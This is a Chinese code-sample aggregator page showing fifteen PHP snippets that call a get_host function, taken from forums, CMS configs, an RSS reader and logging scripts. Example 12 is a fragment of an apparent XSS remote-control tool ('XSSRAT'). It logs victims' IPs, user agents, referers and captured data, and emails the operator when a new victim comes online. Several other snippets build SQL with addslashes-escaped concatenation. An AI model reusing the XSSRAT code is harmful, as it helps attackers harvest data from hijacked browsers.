本文整理汇总了PHP中get_host函数的典型用法代码示例。如果您正苦于以下问题:PHP get_host函数的具体用法?PHP get_host怎么用?PHP get_host使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了get_host函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: wpi_get_comment_author
function wpi_get_comment_author()
{
if (get_comment_type() != 'comment') {
$author = get_host(get_comment_author_url());
$author = str_rem("www.", $author);
} else {
$author = get_comment_author();
}
return $author;
}
示例2: sync
function sync()
{
$this->post_stamp = __request_timestamp__;
$this->ip_addr = get_ip();
$this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? "'" . addslashes(get_host($this->ip_addr)) . "'" : 'NULL';
list($this->foff, $this->length) = write_pmsg_body($this->body);
q("UPDATE phpgw_fud_pmsg SET\n\t\t\tto_list=" . strnull(addslashes($this->to_list)) . ",\n\t\t\ticon=" . strnull($this->icon) . ",\n\t\t\touser_id=" . $this->ouser_id . ",\n\t\t\tduser_id=" . $this->ouser_id . ",\n\t\t\tpost_stamp=" . $this->post_stamp . ",\n\t\t\tsubject='" . addslashes($this->subject) . "',\n\t\t\tip_addr='" . $this->ip_addr . "',\n\t\t\thost_name=" . $this->host_name . ",\n\t\t\tattach_cnt=" . (int) $this->attach_cnt . ",\n\t\t\tfldr=" . $this->fldr . ",\n\t\t\tfoff=" . (int) $this->foff . ",\n\t\t\tlength=" . (int) $this->length . ",\n\t\t\tpmsg_opt=" . $this->pmsg_opt . "\n\t\tWHERE id=" . $this->id);
if ($this->fldr == 3) {
$this->send_pmsg();
}
}
示例3: testsuit
function testsuit($servername = 'localhost')
{
header('Content-Type:text/html;charset=utf-8 ');
$this->load->helper('html');
$host = get_host($servername);
$linkPrepend = 'http://localhost/kq/index.php/kqtest/';
$apiLink = array('test_dcoupon', 'test_error_log', 'test_remote_coupon_accepted', 'test_coupon_dincrement', 'test_acoupon_increment', 'test_accept_coupon', 'test_bind_card_sms');
$apiTitle = $apiLink;
foreach ($apiLink as $link) {
$newApiLink[] = $linkPrepend . $link . '/' . $servername;
}
$data['title'] = '系统内部测试套装';
$data['titles'] = $apiTitle;
$data['links'] = $newApiLink;
$this->load->view('vtestsuit', $data);
}
示例4: toolsuit
function toolsuit($servername = 'localhost')
{
header('Content-Type:text/html;charset=utf-8 ');
$host = get_host($servername);
$linkPrepend = $host . '/kq/index.php/kqunionpaytools/';
// $apiTitle = array('re','用户信息查询','银行卡开通服务','银行卡关闭服务');
$apiLink = array('testGetUserByMobile', 'testRegByMobile', 'testBindCard', 'testUnbindCard', 'testCouponDwnById');
$apiTitle = $apiLink;
foreach ($apiLink as $link) {
$newApiLink[] = $linkPrepend . $link . '/' . $servername;
}
$data['title'] = '银联接口工具套装';
$data['titles'] = $apiTitle;
$data['links'] = $newApiLink;
$this->load->view('vtestsuit', $data);
}
示例5: __construct
public function __construct()
{
$sql = 'SELECT *
FROM _config';
$this->config = sql_rowset($sql, 'config_name', 'config_value');
if ($this->v('site_disable')) {
exit('not_running');
}
$address = $this->v('site_address');
$host_addr = array_key(explode('/', array_key(explode('//', $address), 1)), 0);
if ($host_addr != get_host()) {
$allow_hosts = get_file(XFS . XCOR . 'store/domain_alias');
foreach ($allow_hosts as $row) {
if (substr($row, 0, 1) == '#') {
continue;
}
$remote = strpos($row, '*') === false;
$row = !$remote ? str_replace('*', '', $row) : $row;
$row = str_replace('www.', '', $row);
if ($row == get_host()) {
$sub = str_replace($row, '', get_host());
$sub = f($sub) ? $sub . '.' : ($remote ? 'www.' : '');
$address = str_replace($host_addr, $sub . $row, $address);
$this->v('site_address', $address, true);
break;
}
}
}
if (strpos($address, 'www.') !== false && strpos(get_host(), 'www.') === false && strpos($address, get_host())) {
$page_protocol = array_key(explode('//', _page()), 0);
$a = $this->v('site_address') . str_replace(str_replace('www.', '', $page_protocol . $address), '', _page());
redirect($a, false);
}
$this->cache_dir = XFS . XCOR . 'cache/';
if (is_remote() && @file_exists($this->cache_dir) && @is_writable($this->cache_dir) && @is_readable($this->cache_dir)) {
$this->cache_f = true;
}
//
// Load additional objects.
//
$this->email = _import('emailer');
$this->cache = _import('cache');
return;
}
示例6: add
function add($forum_id, $message_threshold, $forum_opt, $perm, $autoapprove = true)
{
if (!$this->post_stamp) {
$this->post_stamp = __request_timestamp__;
}
if (!isset($this->ip_addr)) {
$this->ip_addr = get_ip();
}
$this->host_name = $GLOBALS['FUD_OPT_1'] & 268435456 ? "'" . addslashes(get_host($this->ip_addr)) . "'" : 'NULL';
$this->thread_id = isset($this->thread_id) ? $this->thread_id : 0;
$this->reply_to = isset($this->reply_to) ? $this->reply_to : 0;
$file_id = write_body($this->body, $length, $offset);
/* determine if preview needs building */
if ($message_threshold && $message_threshold < strlen($this->body)) {
$thres_body = trim_html($this->body, $message_threshold);
$file_id_preview = write_body($thres_body, $length_preview, $offset_preview);
} else {
$file_id_preview = $offset_preview = $length_preview = 0;
}
poll_cache_rebuild($this->poll_id, $poll_cache);
$poll_cache = $poll_cache ? @serialize($poll_cache) : null;
$this->id = db_qid("INSERT INTO phpgw_fud_msg (\n\t\t\tthread_id,\n\t\t\tposter_id,\n\t\t\treply_to,\n\t\t\tip_addr,\n\t\t\thost_name,\n\t\t\tpost_stamp,\n\t\t\tsubject,\n\t\t\tattach_cnt,\n\t\t\tpoll_id,\n\t\t\ticon,\n\t\t\tmsg_opt,\n\t\t\tfile_id,\n\t\t\tfoff,\n\t\t\tlength,\n\t\t\tfile_id_preview,\n\t\t\toffset_preview,\n\t\t\tlength_preview,\n\t\t\tmlist_msg_id,\n\t\t\tpoll_cache\n\t\t) VALUES(\n\t\t\t" . $this->thread_id . ",\n\t\t\t" . $this->poster_id . ",\n\t\t\t" . (int) $this->reply_to . ",\n\t\t\t'" . $this->ip_addr . "',\n\t\t\t" . $this->host_name . ",\n\t\t\t" . $this->post_stamp . ",\n\t\t\t" . strnull(addslashes($this->subject)) . ",\n\t\t\t" . (int) $this->attach_cnt . ",\n\t\t\t" . (int) $this->poll_id . ",\n\t\t\t" . strnull(addslashes($this->icon)) . ",\n\t\t\t" . $this->msg_opt . ",\n\t\t\t" . $file_id . ",\n\t\t\t" . (int) $offset . ",\n\t\t\t" . (int) $length . ",\n\t\t\t" . $file_id_preview . ",\n\t\t\t" . $offset_preview . ",\n\t\t\t" . $length_preview . ",\n\t\t\t" . strnull($this->mlist_msg_id) . ",\n\t\t\t" . strnull(addslashes($poll_cache)) . "\n\t\t)");
$thread_opt = (int) ($perm & 4096 && isset($_POST['thr_locked']));
if (!$this->thread_id) {
/* new thread */
if ($perm & 64 && isset($_POST['thr_ordertype'], $_POST['thr_orderexpiry'])) {
if ((int) $_POST['thr_ordertype']) {
$thread_opt |= (int) $_POST['thr_ordertype'];
$thr_orderexpiry = (int) $_POST['thr_orderexpiry'];
}
}
$this->thread_id = th_add($this->id, $forum_id, $this->post_stamp, $thread_opt, isset($thr_orderexpiry) ? $thr_orderexpiry : 0);
q('UPDATE phpgw_fud_msg SET thread_id=' . $this->thread_id . ' WHERE id=' . $this->id);
} else {
th_lock($this->thread_id, $thread_opt & 1);
}
if ($autoapprove && $forum_opt & 2) {
$this->approve($this->id, true);
}
return $this->id;
}
示例7: get_args
function get_args($argv, $port, $team, $host)
{
$i = 0;
while ($argv[$i]) {
if ($argv[$i] == "-n" && isset($argv[$i + 1]) == TRUE) {
if (($team = get_team_name($argv[$i + 1])) == -1) {
return FALSE;
}
}
if ($argv[$i] == "-p" && isset($argv[$i + 1]) == TRUE) {
if (($port = get_port($argv[$i + 1])) == -1) {
return FALSE;
}
}
if ($argv[$i] == "-h" && isset($argv[$i + 1])) {
if (($host = get_host($argv[$i + 1])) == -1) {
return FALSE;
}
}
$i++;
}
return TRUE;
}
示例8: add_channel
function add_channel($url, $folderid = 0, $title_ = null, $descr_ = null, $tags = null)
{
if (!$url || strlen($url) <= 7) {
return array(-2, "Invalid URL {$url}");
}
if (!is_numeric($folderid)) {
return array(-2, "Invalid folderid {$folderid}");
}
$url = sanitize(str_replace('&', '&', $url), RSS_SANITIZER_URL);
$urlDB = rss_real_escape_string($url);
//htmlentities($url);
$res = rss_query("select count(*) as channel_exists from " . getTable("channels") . " where url='{$urlDB}'");
list($channel_exists) = rss_fetch_row($res);
if ($channel_exists > 0) {
// fatal
return array(-2, "Looks like you are already subscribed to this channel");
}
$res = rss_query("select 1+max(position) as np from " . getTable("channels"));
list($np) = rss_fetch_row($res);
if (!$np) {
$np = "0";
}
// Here we go!
//error_reporting(E_ALL);
$old_level = error_reporting(E_ERROR);
$rss = fetch_rss($url);
error_reporting($old_level);
if ($rss) {
if ($title_) {
$title = rss_real_escape_string($title_);
} elseif (is_object($rss) && array_key_exists('title#', $rss->channel)) {
if (array_key_exists('title', $rss->channel)) {
$title = rss_real_escape_string($rss->channel['title']);
} else {
$title = " ";
}
} else {
$title = "";
}
if (is_object($rss) && array_key_exists('link', $rss->channel)) {
$siteurl = rss_real_escape_string(htmlentities($rss->channel['link']));
} else {
$siteurl = "";
}
$refreshinterval = 0;
if (is_object($rss) && array_key_exists('syn', $rss->channel)) {
$syn = $rss->channel['syn'];
if (array_key_exists('updateperiod', $syn)) {
if ("hourly" == $syn['updateperiod']) {
if (array_key_exists('updatefrequency', $syn)) {
$refreshinterval = 60 * $syn['updatefrequency'];
}
}
}
}
if ($descr_) {
$descr = rss_real_escape_string($descr_);
} elseif (is_object($rss) && array_key_exists('description', $rss->channel)) {
$descr = rss_real_escape_string($rss->channel['description']);
} else {
$descr = "";
}
//lets see if this server has a favicon
$icon = "";
if (getConfig('rss.output.showfavicons')) {
// if we got nothing so far, lets try to fall back to
// favicons
if ($icon == "" && $siteurl != "") {
$match = get_host($siteurl, $host);
$uri = "http://" . $host . "favicon.ico";
if ($match && getContentType($uri, $contentType)) {
if (preg_match("/image\\/x-icon/", $contentType)) {
$icon = $uri;
}
}
}
}
$private = preg_match('|(https?://)([^:]+:[^@]+@)(.+)$|', $url);
if ($title != "") {
$title = strip_tags($title);
$descr = strip_tags($descr);
// add channel to root folder by default
if (!$folderid) {
$folderid = getRootFolder();
}
list($title, $urlDB, $siteurl, $folderid, $descr, $icon) = rss_plugin_hook('rss.plugins.feed.new', array($title, $urlDB, $siteurl, $folderid, $descr, $icon));
$mode = RSS_MODE_UNREAD_STATE;
if ($private) {
$mode |= RSS_MODE_PRIVATE_STATE;
}
$sql = "insert into " . getTable("channels") . " (title, url, siteurl, parent, descr, dateadded, icon, position, mode, daterefreshed)" . " values ('{$title}', '{$urlDB}', '{$siteurl}', {$folderid}, '{$descr}', now(), '{$icon}', {$np}, {$mode}, '0000-00-00 00:00:00')";
rss_query($sql);
$newid = rss_insert_id();
if ($icon && cacheFavicon($icon)) {
rss_query("update " . getTable("channels") . " set icon='blob:" . $icon . "'" . " where id={$newid}");
}
if ($tags != "") {
__exp__submitTag($newid, $tags, "'channel'");
}
if (false == empty($refreshinterval)) {
//.........这里部分代码省略.........
示例9: define
if (!defined('ACT')) {
define('ACT', $_temp_act);
}
/* --- START: ERROR REPORTING --- */
if (!defined('ENVIRONMENT')) {
define('ENVIRONMENT', $environment);
}
if (ENVIRONMENT == '1') {
error_reporting(E_ALL);
} else {
if (ENVIRONMENT == '2') {
error_reporting(0);
}
}
/* --- DOMAIN NAME --- */
$_global_domain = get_host();
if ($_global_domain === 'localhost') {
$_global_domain = $_global_domain . '-' . cleanurl($_global_general->website_title);
} else {
$_global_domain = cleanurl($_global_general->website_title);
}
if (!defined('DOMAIN_ADDRESS')) {
define('DOMAIN_ADDRESS', $_global_domain);
}
/* --- ENVIRONMENT URL --- */
$_base_url_environment = substr(strchr(BASE_URL, '/'), 2, 9);
if (!defined('URL_ENVIRONMENT')) {
define('URL_ENVIRONMENT', $_base_url_environment);
}
/* --- ADMIN DEFAULT PAGE --- */
if (!defined('DEFAULT_PAGE')) {
示例10: core
function core()
{
$sql = 'SELECT *
FROM _config';
$this->config = _rowset($sql, 'config_name', 'config_value');
if ($this->v('site_disabled')) {
exit('SITE DISABLED');
}
$address = $this->v('address');
$host_addr = array_key(explode('/', array_key(explode('://', $address), 1)), 0);
if ($host_addr != get_host()) {
$allow_hosts = get_file('./base/domain_alias');
foreach ($allow_hosts as $row) {
if (substr($row, 0, 1) == '#') {
continue;
}
$remote = strpos($row, '*') === false;
$row = !$remote ? str_replace('*', '', $row) : $row;
$row = str_replace('www.', '', $row);
if ($row == get_host()) {
$sub = str_replace($row, '', get_host());
$sub = f($sub) ? $sub . '.' : ($remote ? 'www.' : '');
$address = str_replace($host_addr, $sub . $row, $address);
$this->v('address', $address, true);
break;
}
}
}
if (strpos($address, 'www.') !== false && strpos(get_host(), 'www.') === false && strpos($address, get_host())) {
$a = $this->v('address') . str_replace(str_replace('www.', '', $address), '', _page());
redirect($a, false);
}
$this->cache_dir = XFS . 'core/cache/';
if (is_remote() && @file_exists($this->cache_dir) && @is_writable($this->cache_dir) && @is_readable($this->cache_dir)) {
$this->cache_f = true;
}
return;
}
示例11: fail
fail("We have no record of that computer");
}
return $host;
}
$user = get_logged_in_user();
page_head("Merge computer records");
$nhosts = get_int("nhosts");
$hostid = get_int("id_0");
$latest_host = get_host($hostid, $user);
for ($i = 1; $i < $nhosts; $i++) {
$var = "id_{$i}";
$hostid = get_int($var, true);
if (!$hostid) {
continue;
}
$host = get_host($hostid, $user);
if ($host->create_time > $latest_host->create_time) {
$error = merge_hosts($latest_host, $host);
if ($error) {
echo "<br />{$error}\n";
continue;
}
$latest_host = $host;
} else {
merge_hosts($host, $latest_host);
}
// reread latest_host from database since we just
// updated its credits
//
$latest_host = BoincHost::lookup_id($latest_host->id);
}
示例12: htmlspecialchars
$res = $project->getProjectByTicket($ticket);
if ($res) {
$pmd->ticket = $ticket;
$pmd->p_id = $project->id;
$pmd->clientIP = htmlspecialchars(quotes($ip));
$pmd->time = $curtime;
$pmd->status = 1;
$pmd->ec = $ec;
$pmd->userAgent = htmlspecialchars(quotes($useragent));
$pmd->Referer = htmlspecialchars(quotes($referer));
$pmd->Data = utf8_decode(urldecode($data));
$pmd_id = $pmd->addPMD();
}
}
$email = $project->getMailByTiket($ticket);
if ($email) {
//sea maill
$saemail = new SaeMail();
$message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!";
$ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS);
if ($ret === false) {
$log->error($mail->errmsg());
}
}
}
$db->closeDB();
}
$net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n";
$log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data);
die($net_config);
}
示例13: while
?>
</a></h2>
<table width="100%">
<tr class="colhead">
<td>Changed</td>
<td>IP [<a href="/userhistory.php?action=ips&userid=<?php
echo $UserID;
?>
">H</a>]</td>
</tr>
<? while(list($ChangeTime, $ChangerIP) = $DB->next_record()){ ?>
<tr class="rowa">
<td><?php
echo time_diff($ChangeTime);
?>
</td>
<td><?php
echo display_str($ChangerIP);
?>
[<a href="/user.php?action=search&ip_history=on&ip=<?php
echo display_str($ChangerIP);
?>
" title="Search">S</a>]<br /><?php
echo get_host($ChangerIP);
?>
</td>
</tr>
<? } ?>
</table>
<? show_footer(); ?>
示例14: explode
$UsersEnabled = explode('|', $UsersEnabled);
$UsersDonor = explode('|', $UsersDonor);
$UsersWarned = explode('|', $UsersWarned);
}
?>
<tr class="rowa">
<td>
<?php
echo $IP;
?>
(<?php
echo get_cc($IP);
?>
) <br />
<?php
echo get_host($IP);
?>
<?php
echo $HasDupe ? '<a href="#" onclick="ShowIPs(' . $Index . '); return false;">(' . count($UserIDs) . ')</a>' : '(0)';
?>
</td>
<td><?php
echo time_diff($StartTime);
?>
</td>
<td><?php
echo time_diff($EndTime);
?>
</td>
<td><?php
//time_diff(strtotime($StartTime), strtotime($EndTime));
示例15: array_push
array_push($log, $bLogLine);
$bLogLine = implode('', $log);
$fp = fopen($file, 'w');
}
fputs($fp, $bLogLine);
fclose($fp);
}
return;
}
}
}
/* Don't execute in Manager */
if ($modx->context->get('key') == 'mgr') {
return '';
}
$oldSetting = ignore_user_abort(TRUE);
// otherwise can screw-up logfile
$data['page'] = $_SERVER['REQUEST_URI'];
$t = gettimeofday();
$data['time'] = date('d/m/y H:i:s:') . substr($t['usec'], 0, 3);
// H:i:s:u
$data['ip'] = $_SERVER['REMOTE_ADDR'];
$data['userAgent'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '<unknown user agent>';
$data['host'] = get_host($data['ip']);
$data['referer'] = empty($_SERVER['HTTP_REFERER']) ? '(empty)' : $_SERVER['HTTP_REFERER'];
$msg = implode('`', $data);
$maxLines = $modx->getOption('log_max_lines', $scriptProperties, 300);
$file = MODX_CORE_PATH . 'logs/pagenotfound.log';
logLine($msg . "\n", $maxLines, $file);
ignore_user_abort($oldSetting);
return '';